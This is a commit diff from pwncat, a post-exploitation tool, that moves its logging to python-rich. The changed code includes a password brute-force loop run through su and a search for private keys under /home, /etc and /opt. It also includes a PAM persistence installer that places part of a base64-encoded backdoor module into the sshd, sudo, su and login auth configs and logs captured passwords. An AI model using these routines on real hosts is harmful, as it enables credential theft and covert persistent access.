mirror of
https://github.com/calebstewart/pwncat.git
synced 2024-11-27 19:04:15 +01:00
Finished implementing new logging with python-rich
This commit is contained in:
parent
40bfd7cb20
commit
93e39b9a47
@ -36,7 +36,6 @@ import pwncat
|
||||
import pwncat.db
|
||||
from pwncat.commands.base import CommandDefinition, Complete
|
||||
from pwncat.util import State, console
|
||||
from pwncat import util
|
||||
|
||||
|
||||
def resolve_blocks(source: str):
|
||||
@ -187,8 +186,8 @@ class CommandParser:
|
||||
try:
|
||||
self.dispatch_line(command)
|
||||
except Exception as exc:
|
||||
util.error(
|
||||
f"{Fore.CYAN}{name}{Fore.RESET}: {Fore.YELLOW}{command}{Fore.RESET}: {str(exc)}"
|
||||
console.log(
|
||||
f"[red]error[/red]: [cyan]{name}[/cyan]: [yellow]{command}[/yellow]: {str(exc)}"
|
||||
)
|
||||
break
|
||||
|
||||
@ -244,7 +243,7 @@ class CommandParser:
|
||||
# Spit the line with shell rules
|
||||
argv = shlex.split(line)
|
||||
except ValueError as e:
|
||||
util.error(e.args[0])
|
||||
console.log(f"[red]error[/red]: {e.args[0]}")
|
||||
return
|
||||
|
||||
if argv[0][0] in self.shortcuts:
|
||||
@ -262,12 +261,12 @@ class CommandParser:
|
||||
if argv[0] in self.aliases:
|
||||
command = self.aliases[argv[0]]
|
||||
else:
|
||||
util.error(f"{argv[0]}: unknown command")
|
||||
console.log(f"[red]error[/red]: {argv[0]}: unknown command")
|
||||
return
|
||||
|
||||
if not self.loading_complete and not command.LOCAL:
|
||||
util.error(
|
||||
f"{argv[0]}: non-local commands cannot run until after session setup."
|
||||
console.log(
|
||||
f"[red]error[/red]: {argv[0]}: non-local command use before connection"
|
||||
)
|
||||
return
|
||||
|
||||
|
@ -5,7 +5,7 @@ from prompt_toolkit.keys import ALL_KEYS, Keys
|
||||
import pwncat
|
||||
from pwncat.commands.base import CommandDefinition, Complete, Parameter
|
||||
from pwncat.config import KeyType
|
||||
from pwncat import util
|
||||
from pwncat.util import console
|
||||
from colorama import Fore
|
||||
import string
|
||||
|
||||
@ -29,11 +29,8 @@ class Command(CommandDefinition):
|
||||
|
||||
def run(self, args):
|
||||
if args.key is None:
|
||||
util.info("currently assigned key-bindings:")
|
||||
for key, binding in pwncat.victim.config.bindings.items():
|
||||
print(
|
||||
f" {Fore.CYAN}{key}{Fore.RESET} = {Fore.YELLOW}{repr(binding)}{Fore.RESET}"
|
||||
)
|
||||
console.print(f" [cyan]{key}[/cyan] = [yellow]{repr(binding)}[/yellow]")
|
||||
elif args.key is not None and args.script is None:
|
||||
if args.key in pwncat.victim.config.bindings:
|
||||
del pwncat.victim.config.bindings[args.key]
|
||||
|
@ -1,7 +1,8 @@
|
||||
#!/usr/bin/env python3
|
||||
import argparse
|
||||
from rich.progress import Progress
|
||||
|
||||
from pwncat import util
|
||||
from pwncat.util import console
|
||||
from pwncat.commands.base import CommandDefinition, Complete, Parameter
|
||||
import pwncat
|
||||
|
||||
@ -41,19 +42,36 @@ class Command(CommandDefinition):
|
||||
|
||||
def run(self, args):
|
||||
|
||||
for name in args.user:
|
||||
with Progress(
|
||||
"bruteforcing",
|
||||
"[blue]{task.description}",
|
||||
"•",
|
||||
"[cyan]{task.fields[password]}",
|
||||
) as progress:
|
||||
tasks = [
|
||||
progress.add_task(name, password="", start=False) for name in args.user
|
||||
]
|
||||
for i, name in enumerate(args.user):
|
||||
args.dictionary.seek(0)
|
||||
progress.start_task(tasks[i])
|
||||
for line in args.dictionary:
|
||||
line = line.strip()
|
||||
util.progress(f"bruteforcing {name}: {line}")
|
||||
|
||||
progress.update(tasks[i], password=line)
|
||||
|
||||
try:
|
||||
# Attempt the password
|
||||
pwncat.victim.su(name, line, check=True)
|
||||
pwncat.victim.users[name].password = line
|
||||
util.success(f"user {name} has password {repr(line)}!")
|
||||
progress.update(
|
||||
tasks[i],
|
||||
password=f"password is [green]{repr(line)}[/green]",
|
||||
)
|
||||
break
|
||||
except PermissionError:
|
||||
continue
|
||||
|
||||
util.success("bruteforcing completed")
|
||||
else:
|
||||
progress.update(
|
||||
tasks[i], password="[red]failed[/red]: no password found"
|
||||
)
|
||||
progress.stop_task(tasks[i])
|
||||
|
@ -10,7 +10,7 @@ from pwncat.commands.base import (
|
||||
StoreConstOnce,
|
||||
StoreForAction,
|
||||
)
|
||||
from pwncat import util
|
||||
from pwncat.util import console
|
||||
|
||||
|
||||
class Command(CommandDefinition):
|
||||
@ -64,11 +64,11 @@ class Command(CommandDefinition):
|
||||
pwncat.victim.bootstrap_busybox(args.url)
|
||||
elif args.action == "list":
|
||||
if pwncat.victim.host.busybox is None:
|
||||
util.error(
|
||||
"busybox hasn't been installed yet (hint: run 'busybox --install'"
|
||||
console.log(
|
||||
"[red]error[/red]: "
|
||||
"busybox is not installed (hint: run 'busybox --install')"
|
||||
)
|
||||
return
|
||||
util.info("binaries which the remote busybox provides:")
|
||||
|
||||
# Find all binaries which are provided by busybox
|
||||
provides = pwncat.victim.session.query(pwncat.db.Binary).filter(
|
||||
@ -77,13 +77,13 @@ class Command(CommandDefinition):
|
||||
)
|
||||
|
||||
for binary in provides:
|
||||
print(f" * {binary.name}")
|
||||
console.print(f" - {binary.name}")
|
||||
elif args.action == "status":
|
||||
if pwncat.victim.host.busybox is None:
|
||||
util.error("busybox hasn't been installed yet")
|
||||
console.log("[red]error[/red]: busybox hasn't been installed yet")
|
||||
return
|
||||
util.info(
|
||||
f"busybox is installed to: {Fore.BLUE}{pwncat.victim.host.busybox}{Fore.RESET}"
|
||||
console.log(
|
||||
f"busybox is installed to: [blue]{pwncat.victim.host.busybox}[/blue]"
|
||||
)
|
||||
|
||||
# Find all binaries which are provided from busybox
|
||||
@ -96,4 +96,4 @@ class Command(CommandDefinition):
|
||||
.with_entities(func.count())
|
||||
.scalar()
|
||||
)
|
||||
util.info(f"busybox provides {Fore.GREEN}{nprovides}{Fore.RESET} applets")
|
||||
console.log(f"busybox provides [green]{nprovides}[/green] applets")
|
||||
|
@ -8,7 +8,6 @@ from prompt_toolkit import prompt
|
||||
from rich.progress import Progress, BarColumn
|
||||
|
||||
import pwncat
|
||||
from pwncat import util
|
||||
from pwncat.util import console
|
||||
from pwncat.commands.base import (
|
||||
CommandDefinition,
|
||||
@ -185,7 +184,7 @@ class Command(CommandDefinition):
|
||||
# Connect to the remote host's ssh server
|
||||
sock = socket.create_connection((args.host, args.port))
|
||||
except Exception as exc:
|
||||
util.error(str(exc))
|
||||
console.log(f"[red]error[/red]: {str(exc)}")
|
||||
return
|
||||
|
||||
# Create a paramiko SSH transport layer around the socket
|
||||
@ -194,7 +193,7 @@ class Command(CommandDefinition):
|
||||
t.start_client()
|
||||
except paramiko.SSHException:
|
||||
sock.close()
|
||||
util.error("ssh negotiation failed")
|
||||
console.log("[red]error[/red]: ssh negotiation failed")
|
||||
return
|
||||
|
||||
if args.identity:
|
||||
@ -209,12 +208,12 @@ class Command(CommandDefinition):
|
||||
try:
|
||||
t.auth_publickey(args.user, key)
|
||||
except paramiko.ssh_exception.AuthenticationException as exc:
|
||||
util.error(f"authentication failed: {exc}")
|
||||
console.log(f"[red]error[/red]: authentication failed: {exc}")
|
||||
else:
|
||||
try:
|
||||
t.auth_password(args.user, args.password)
|
||||
except paramiko.ssh_exception.AuthenticationException as exc:
|
||||
util.error(f"authentication failed: {exc}")
|
||||
console.log(f"[red]error[/red]: authentication failed: {exc}")
|
||||
|
||||
if not t.is_authenticated():
|
||||
t.close()
|
||||
@ -234,14 +233,13 @@ class Command(CommandDefinition):
|
||||
|
||||
try:
|
||||
addr = ipaddress.ip_address(args.host)
|
||||
util.progress(f"enumerating persistence methods for {addr}")
|
||||
host = (
|
||||
pwncat.victim.session.query(pwncat.db.Host)
|
||||
.filter_by(ip=str(addr))
|
||||
.first()
|
||||
)
|
||||
if host is None:
|
||||
util.error(f"{args.host}: not found in database")
|
||||
console.log(f"[red]error[/red]: {args.host}: not found in database")
|
||||
return
|
||||
host_hash = host.hash
|
||||
except ValueError:
|
||||
@ -251,19 +249,19 @@ class Command(CommandDefinition):
|
||||
try:
|
||||
pwncat.victim.reconnect(host_hash, args.method, args.user)
|
||||
except PersistenceError as exc:
|
||||
util.error(f"{args.host}: connection failed")
|
||||
console.log(f"[red]error[/red]: {args.host}: {exc}")
|
||||
return
|
||||
elif args.action == "list":
|
||||
if pwncat.victim.session is not None:
|
||||
for host in pwncat.victim.session.query(pwncat.db.Host):
|
||||
if len(host.persistence) == 0:
|
||||
continue
|
||||
print(
|
||||
f"{Fore.MAGENTA}{host.ip}{Fore.RESET} - {Fore.RED}{host.distro}{Fore.RESET} - {Fore.YELLOW}{host.hash}{Fore.RESET}"
|
||||
console.print(
|
||||
f"[magenta]{host.ip}[/magenta] - [red]{host.distro}[/red] - [yellow]{host.hash}[/yellow]"
|
||||
)
|
||||
for p in host.persistence:
|
||||
print(
|
||||
f" - {Fore.BLUE}{p.method}{Fore.RESET} as {Fore.GREEN}{p.user if p.user else 'system'}{Fore.RESET}"
|
||||
console.print(
|
||||
f" - [blue]{p.method}[/blue] as [green]{p.user if p.user else 'system'}[/green]"
|
||||
)
|
||||
else:
|
||||
util.error(f"{args.action}: invalid action")
|
||||
console.log(f"[red]error[/red]: {args.action}: invalid action")
|
||||
|
@ -6,9 +6,11 @@ from typing import List, Dict
|
||||
import pytablewriter
|
||||
from colorama import Fore, Style
|
||||
from pytablewriter import MarkdownTableWriter
|
||||
from rich.progress import Progress, BarColumn
|
||||
|
||||
import pwncat
|
||||
from pwncat import util
|
||||
from pwncat.util import console
|
||||
from pwncat.commands.base import (
|
||||
CommandDefinition,
|
||||
Complete,
|
||||
@ -320,9 +322,16 @@ class Command(CommandDefinition):
|
||||
"system.package",
|
||||
]
|
||||
|
||||
util.progress("enumerating report_data")
|
||||
with Progress(
|
||||
"enumerating report data",
|
||||
"•",
|
||||
"[cyan]{task.fields[status]}",
|
||||
transient=True,
|
||||
console=console,
|
||||
) as progress:
|
||||
task = progress.add_task("", status="initializing")
|
||||
for fact in pwncat.victim.enumerate():
|
||||
util.progress(f"enumerating report_data: {fact.data}")
|
||||
progress.update(task, status=str(fact.data))
|
||||
if fact.type in ignore_types:
|
||||
continue
|
||||
if fact.type not in report_data:
|
||||
@ -331,8 +340,6 @@ class Command(CommandDefinition):
|
||||
report_data[fact.type][fact.source] = []
|
||||
report_data[fact.type][fact.source].append(fact)
|
||||
|
||||
util.erase_progress()
|
||||
|
||||
try:
|
||||
with open(report_path, "w") as filp:
|
||||
filp.write(f"# {hostname} - {pwncat.victim.host.ip}\n\n")
|
||||
@ -359,9 +366,9 @@ class Command(CommandDefinition):
|
||||
continue
|
||||
self.render_section(filp, typ, report_data[typ])
|
||||
|
||||
util.success(f"enumeration report written to {report_path}")
|
||||
except OSError:
|
||||
self.parser.error(f"{report_path}: failed to open output file")
|
||||
console.log(f"enumeration report written to [cyan]{report_path}[/cyan]")
|
||||
except OSError as exc:
|
||||
console.log(f"[red]error[/red]: [cyan]{report_path}[/cyan]: {exc}")
|
||||
|
||||
def render_section(self, filp, typ: str, sources: Dict[str, List[pwncat.db.Fact]]):
|
||||
"""
|
||||
@ -399,29 +406,34 @@ class Command(CommandDefinition):
|
||||
|
||||
types = typ if isinstance(typ, list) else [typ]
|
||||
|
||||
util.progress("enumerating facts")
|
||||
with Progress(
|
||||
"enumerating facts",
|
||||
"•",
|
||||
"[cyan]{task.fields[status]}",
|
||||
transient=True,
|
||||
console=console,
|
||||
) as progress:
|
||||
task = progress.add_task("", status="initializing")
|
||||
for typ in types:
|
||||
for fact in pwncat.victim.enumerate.iter(
|
||||
typ, filter=lambda f: provider is None or f.source == provider
|
||||
):
|
||||
util.progress(f"enumerating facts: {fact.data}")
|
||||
progress.update(task, status=str(fact.data))
|
||||
if fact.type not in data:
|
||||
data[fact.type] = {}
|
||||
if fact.source not in data[fact.type]:
|
||||
data[fact.type][fact.source] = []
|
||||
data[fact.type][fact.source].append(fact)
|
||||
|
||||
util.erase_progress()
|
||||
|
||||
for typ, sources in data.items():
|
||||
for source, facts in sources.items():
|
||||
print(
|
||||
f"{Style.BRIGHT}{Fore.YELLOW}{typ.upper()}{Fore.RESET} Facts by {Fore.BLUE}{source}{Style.RESET_ALL}"
|
||||
console.print(
|
||||
f"[bright_yellow]{typ.upper()}[/bright_yellow] Facts by [blue]{source}[/blue]"
|
||||
)
|
||||
for fact in facts:
|
||||
print(f" {fact.data}")
|
||||
console.print(f" {fact.data}")
|
||||
if long and getattr(fact.data, "description", None) is not None:
|
||||
print(textwrap.indent(fact.data.description, " "))
|
||||
console.print(textwrap.indent(fact.data.description, " "))
|
||||
|
||||
def flush_facts(self, typ: str, provider: str):
|
||||
""" Flush all facts that match criteria """
|
||||
|
@ -1,5 +1,5 @@
|
||||
#!/usr/bin/env python3
|
||||
from pwncat import util
|
||||
from pwncat.util import console
|
||||
from pwncat.commands.base import CommandDefinition, Complete, Parameter
|
||||
|
||||
|
||||
@ -23,7 +23,7 @@ class Command(CommandDefinition):
|
||||
|
||||
# Ensure we confirmed we want to exit
|
||||
if not args.yes:
|
||||
util.error("exit not confirmed")
|
||||
console.log("[red]error[/red]: exit not confirmed (use '--yes')")
|
||||
return
|
||||
|
||||
# Get outa here!
|
||||
|
@ -4,7 +4,7 @@ import textwrap
|
||||
import pwncat
|
||||
from pwncat.commands import CommandParser
|
||||
from pwncat.commands.base import CommandDefinition, Complete, Parameter
|
||||
from pwncat import util
|
||||
from pwncat.util import console
|
||||
|
||||
|
||||
class Command(CommandDefinition):
|
||||
@ -26,9 +26,8 @@ class Command(CommandDefinition):
|
||||
if command.parser is not None:
|
||||
command.parser.print_help()
|
||||
else:
|
||||
print(textwrap.dedent(command.__doc__).strip())
|
||||
console.print(textwrap.dedent(command.__doc__).strip())
|
||||
break
|
||||
else:
|
||||
util.info("the following commands are available:")
|
||||
for command in pwncat.victim.command_parser.commands:
|
||||
print(f" * {command.PROG}")
|
||||
console.print(f" - {command.PROG}")
|
||||
|
@ -3,6 +3,15 @@ import textwrap
|
||||
from typing import Dict, Type, Tuple, Iterator
|
||||
|
||||
from colorama import Fore, Style
|
||||
from rich.progress import (
|
||||
BarColumn,
|
||||
DownloadColumn,
|
||||
TextColumn,
|
||||
TransferSpeedColumn,
|
||||
TimeRemainingColumn,
|
||||
Progress,
|
||||
TaskID,
|
||||
)
|
||||
|
||||
import pwncat
|
||||
from pwncat.util import console
|
||||
@ -111,18 +120,29 @@ class Command(CommandDefinition):
|
||||
def clean_methods(self):
|
||||
""" Remove all persistence methods from the victim """
|
||||
|
||||
util.progress("cleaning persistence methods: ")
|
||||
for user, method in pwncat.victim.persist.installed:
|
||||
with Progress(
|
||||
"cleaning",
|
||||
"{task.fields[method]}",
|
||||
BarColumn(bar_width=None),
|
||||
"[progress.percentage]{task.percentage:>3.1f}%",
|
||||
console=console,
|
||||
) as progress:
|
||||
installed = list(pwncat.victim.persist.installed)
|
||||
|
||||
task = progress.add_task("", method="initializing", total=len(installed))
|
||||
|
||||
for user, method in installed:
|
||||
try:
|
||||
util.progress(f"cleaning persistance methods: {method.format(user)}")
|
||||
progress.update(task, method=method.format(user))
|
||||
pwncat.victim.persist.remove(method.name, user)
|
||||
util.success(f"removed {method.format(user)}")
|
||||
except PersistenceError as exc:
|
||||
util.erase_progress()
|
||||
util.warn(
|
||||
f"{method.format(user)}: removal failed: {exc}\n", overlay=True
|
||||
progress.log(
|
||||
f"[yellow]warning[/yellow]: {method.format(user)}: "
|
||||
f"removal failed: {exc}"
|
||||
)
|
||||
util.erase_progress()
|
||||
progress.update(task, advance=1)
|
||||
|
||||
progress.update(task, method="[bold green]complete")
|
||||
|
||||
def run(self, args):
|
||||
|
||||
|
@ -50,8 +50,6 @@ def enumerate() -> Generator[PrivateKeyFact, None, None]:
|
||||
|
||||
data = []
|
||||
|
||||
util.progress("enumerating private keys")
|
||||
|
||||
# Search for private keys in common locations
|
||||
with pwncat.victim.subprocess(
|
||||
"grep -l -I -D skip -rE '^-+BEGIN .* PRIVATE KEY-+$' /home /etc /opt 2>/dev/null | xargs stat -c '%u %n' 2>/dev/null"
|
||||
@ -59,14 +57,10 @@ def enumerate() -> Generator[PrivateKeyFact, None, None]:
|
||||
for line in pipe:
|
||||
line = line.strip().decode("utf-8").split(" ")
|
||||
uid, path = int(line[0]), " ".join(line[1:])
|
||||
util.progress(f"enumerating private keys: {Fore.CYAN}{path}{Fore.RESET}")
|
||||
data.append(PrivateKeyFact(uid, path, None, False))
|
||||
|
||||
for fact in data:
|
||||
try:
|
||||
util.progress(
|
||||
f"enumerating private keys: downloading {Fore.CYAN}{fact.path}{Fore.RESET}"
|
||||
)
|
||||
with pwncat.victim.open(fact.path, "r") as filp:
|
||||
fact.content = filp.read().strip().replace("\r\n", "\n")
|
||||
|
||||
|
@ -6,6 +6,8 @@ import os
|
||||
import textwrap
|
||||
from typing import Optional
|
||||
|
||||
from rich.progress import Progress
|
||||
|
||||
import pwncat
|
||||
from pwncat import util
|
||||
from pwncat.persist import PersistenceMethod, PersistenceError
|
||||
@ -30,28 +32,6 @@ class Method(PersistenceMethod):
|
||||
name = "pam"
|
||||
# We can leverage this to escalate locally
|
||||
local = True
|
||||
|
||||
def install(self, user: Optional[str] = None):
|
||||
""" Install the persistence method """
|
||||
|
||||
if pwncat.victim.current_user.id != 0:
|
||||
raise PersistenceError("must be root")
|
||||
|
||||
try:
|
||||
# Enumerate SELinux state
|
||||
selinux = pwncat.victim.enumerate.first("system.selinux").data
|
||||
# If enabled and enforced, it will block this from working
|
||||
if selinux.enabled and "enforc" in selinux.mode:
|
||||
raise PersistenceError("selinux is currently in enforce mode")
|
||||
elif selinux.enabled:
|
||||
# If enabled but permissive, it will log this module
|
||||
console.log(
|
||||
"[yellow]warning[/yellow]: selinux is enabled; persistence may be logged"
|
||||
)
|
||||
except ValueError:
|
||||
# SELinux not found
|
||||
pass
|
||||
|
||||
# Source to our module
|
||||
sneaky_source = textwrap.dedent(
|
||||
"""
|
||||
@ -89,11 +69,31 @@ biBQQU1fSUdOT1JFOwp9ClBBTV9FWFRFUk4gaW50IHBhbV9zbV9jbG9zZV9zZXNzaW9uKHBhbV9o
|
||||
YW5kbGVfdCAqcGFtaCwgaW50IGZsYWdzLCBpbnQgYXJnYywgY29uc3QgY2hhciAqKmFyZ3YpIHsK
|
||||
ICAgICByZXR1cm4gUEFNX0lHTk9SRTsKfQpQQU1fRVhURVJOIGludCBwYW1fc21fY2hhdXRodG9r
|
||||
KHBhbV9oYW5kbGVfdCAqcGFtaCwgaW50IGZsYWdzLCBpbnQgYXJnYywgY29uc3QgY2hhciAqKmFy
|
||||
Z3YpewogICAgIHJldHVybiBQQU1fSUdOT1JFOwp9Cg==
|
||||
"""
|
||||
Z3YpewogICAgIHJldHVybiBQQU1fSUdOT1JFOwp9Cg=="""
|
||||
).replace("\n", "")
|
||||
sneaky_source = base64.b64decode(sneaky_source).decode("utf-8")
|
||||
|
||||
def install(self, user: Optional[str] = None):
|
||||
""" Install the persistence method """
|
||||
|
||||
if pwncat.victim.current_user.id != 0:
|
||||
raise PersistenceError("must be root")
|
||||
|
||||
try:
|
||||
# Enumerate SELinux state
|
||||
selinux = pwncat.victim.enumerate.first("system.selinux").data
|
||||
# If enabled and enforced, it will block this from working
|
||||
if selinux.enabled and "enforc" in selinux.mode:
|
||||
raise PersistenceError("selinux is currently in enforce mode")
|
||||
elif selinux.enabled:
|
||||
# If enabled but permissive, it will log this module
|
||||
console.log(
|
||||
"[yellow]warning[/yellow]: selinux is enabled; persistence may be logged"
|
||||
)
|
||||
except ValueError:
|
||||
# SELinux not found
|
||||
pass
|
||||
|
||||
# We use the backdoor password. Build the string of encoded bytes
|
||||
# These are placed in the source like: char password_hash[] = {0x01, 0x02, 0x03, ...};
|
||||
password = hashlib.sha1(
|
||||
@ -102,15 +102,25 @@ Z3YpewogICAgIHJldHVybiBQQU1fSUdOT1JFOwp9Cg==
|
||||
password = ",".join(hex(c) for c in password)
|
||||
|
||||
# Insert our key
|
||||
sneaky_source = sneaky_source.replace("__PWNCAT_HASH__", password)
|
||||
sneaky_source = self.sneaky_source.replace("__PWNCAT_HASH__", password)
|
||||
|
||||
# Insert the log location for successful passwords
|
||||
sneaky_source = sneaky_source.replace("__PWNCAT_LOG__", "/var/log/firstlog")
|
||||
|
||||
progress = Progress(
|
||||
"installing pam module",
|
||||
"•",
|
||||
"[cyan]{task.fields[status]}",
|
||||
transient=True,
|
||||
console=console,
|
||||
)
|
||||
task = progress.add_task("", status="initializing")
|
||||
|
||||
# Write the source
|
||||
try:
|
||||
progress.start()
|
||||
|
||||
util.progress("pam_sneaky: compiling shared library")
|
||||
progress.update(task, status="compiling shared library")
|
||||
|
||||
try:
|
||||
# Compile our source for the remote host
|
||||
@ -123,7 +133,7 @@ Z3YpewogICAgIHJldHVybiBQQU1fSUdOT1JFOwp9Cg==
|
||||
except (FileNotFoundError, CompilationError) as exc:
|
||||
raise PersistenceError(f"pam: compilation failed: {exc}")
|
||||
|
||||
util.progress("pam_sneaky: locating pam module location")
|
||||
progress.update(task, status="locating pam module installation")
|
||||
|
||||
# Locate the pam_deny.so to know where to place the new module
|
||||
pam_modules = "/usr/lib/security"
|
||||
@ -141,24 +151,24 @@ Z3YpewogICAgIHJldHVybiBQQU1fSUdOT1JFOwp9Cg==
|
||||
except FileNotFoundError:
|
||||
pass
|
||||
|
||||
util.progress(f"pam_sneaky: pam modules located in {pam_modules}")
|
||||
progress.update(task, status=f"pam modules located at {pam_modules}")
|
||||
|
||||
# Ensure the directory exists and is writable
|
||||
access = pwncat.victim.access(pam_modules)
|
||||
if (Access.DIRECTORY | Access.WRITE) in access:
|
||||
# Copy the module to a non-suspicious path
|
||||
util.progress(f"pam_sneaky: copying shared library to {pam_modules}")
|
||||
progress.update(task, status="copying shared library")
|
||||
pwncat.victim.env(
|
||||
["mv", lib_path, os.path.join(pam_modules, "pam_succeed.so")]
|
||||
)
|
||||
new_line = "auth\tsufficient\tpam_succeed.so\n"
|
||||
|
||||
util.progress(f"pam_sneaky: adding pam auth configuration")
|
||||
progress.update(task, status="adding pam auth configuration")
|
||||
|
||||
# Add this auth method to the following pam configurations
|
||||
for config in ["sshd", "sudo", "su", "login"]:
|
||||
util.progress(
|
||||
f"pam_sneaky: adding pam auth configuration: {config}"
|
||||
progress.update(
|
||||
task, status=f"adding pam auth configuration: {config}"
|
||||
)
|
||||
config = os.path.join("/etc/pam.d", config)
|
||||
try:
|
||||
@ -197,11 +207,11 @@ Z3YpewogICAgIHJldHVybiBQQU1fSUdOT1JFOwp9Cg==
|
||||
|
||||
pwncat.victim.tamper.created_file("/var/log/firstlog")
|
||||
|
||||
util.erase_progress()
|
||||
|
||||
except FileNotFoundError as exc:
|
||||
# A needed binary wasn't found. Clean up whatever we created.
|
||||
raise PersistenceError(str(exc))
|
||||
finally:
|
||||
progress.stop()
|
||||
|
||||
def remove(self, user: Optional[str] = None):
|
||||
""" Remove this method """
|
||||
@ -255,7 +265,7 @@ Z3YpewogICAgIHJldHVybiBQQU1fSUdOT1JFOwp9Cg==
|
||||
raise PersistenceError("insufficient permissions")
|
||||
except FileNotFoundError as exc:
|
||||
# Uh-oh, some binary was missing... I'm not sure what to do here...
|
||||
util.error(str(exc))
|
||||
console.log(f"[red]error[/red]: {exc}")
|
||||
|
||||
def escalate(self, user: Optional[str] = None) -> bool:
|
||||
""" Utilize this method to escalate locally """
|
||||
|
@ -51,9 +51,6 @@ class Method(BaseMethod):
|
||||
# The rule appears to match, add it to the list
|
||||
rules.append(fact.data)
|
||||
|
||||
# We don't need that progress after this is complete
|
||||
util.erase_progress()
|
||||
|
||||
for rule in rules:
|
||||
for method in pwncat.victim.gtfo.iter_sudo(rule.command, caps=capability):
|
||||
progress.update(task, step=str(rule))
|
||||
|
@ -339,53 +339,11 @@ LAST_PROG_ANIM = -1
|
||||
|
||||
|
||||
def erase_progress():
|
||||
""" Erase the last progress line. Useful for progress messages for long-running
|
||||
tasks, which don't need (or want) to be logged to the terminal """
|
||||
global LAST_LOG_MESSAGE
|
||||
|
||||
return
|
||||
|
||||
sys.stdout.write(
|
||||
len(LAST_LOG_MESSAGE[0]) * "\b"
|
||||
+ len(LAST_LOG_MESSAGE[0]) * " "
|
||||
+ len(LAST_LOG_MESSAGE[0]) * "\b"
|
||||
)
|
||||
LAST_LOG_MESSAGE = (LAST_LOG_MESSAGE[0], False)
|
||||
raise RuntimeError("new-logging: please use the rich module for logging")
|
||||
|
||||
|
||||
def log(level, message, overlay=False):
|
||||
global LAST_LOG_MESSAGE
|
||||
global LAST_PROG_ANIM
|
||||
|
||||
return
|
||||
|
||||
prefix = {
|
||||
"info": f"[{Fore.BLUE}+{Fore.RESET}]",
|
||||
"success": f"[{Fore.GREEN}+{Fore.RESET}]",
|
||||
"warn": f"[{Fore.YELLOW}?{Fore.RESET}]",
|
||||
"error": f"[{Fore.RED}!{Fore.RESET}]",
|
||||
"prog": f"[{Fore.CYAN}+{Fore.RESET}]",
|
||||
}
|
||||
|
||||
if overlay or (LAST_LOG_MESSAGE[1] and level in ["success", "error"]):
|
||||
erase_progress()
|
||||
elif LAST_LOG_MESSAGE[1]:
|
||||
sys.stdout.write("\n")
|
||||
|
||||
if level == "prog":
|
||||
LAST_PROG_ANIM = (LAST_PROG_ANIM + 1) % len(PROG_ANIMATION)
|
||||
prefix["prog"] = prefix["prog"].replace("+", PROG_ANIMATION[LAST_PROG_ANIM])
|
||||
|
||||
LAST_LOG_MESSAGE = (
|
||||
f"{prefix[level]} {Style.DIM}{message}{Style.RESET_ALL}",
|
||||
overlay,
|
||||
)
|
||||
sys.stdout.write(LAST_LOG_MESSAGE[0])
|
||||
|
||||
if not overlay:
|
||||
sys.stdout.write("\n")
|
||||
else:
|
||||
sys.stdout.flush()
|
||||
raise RuntimeError("new-logging: please use the rich module for logging")
|
||||
|
||||
|
||||
def info(message, overlay=False):
|
||||
|
Loading…
Reference in New Issue
Block a user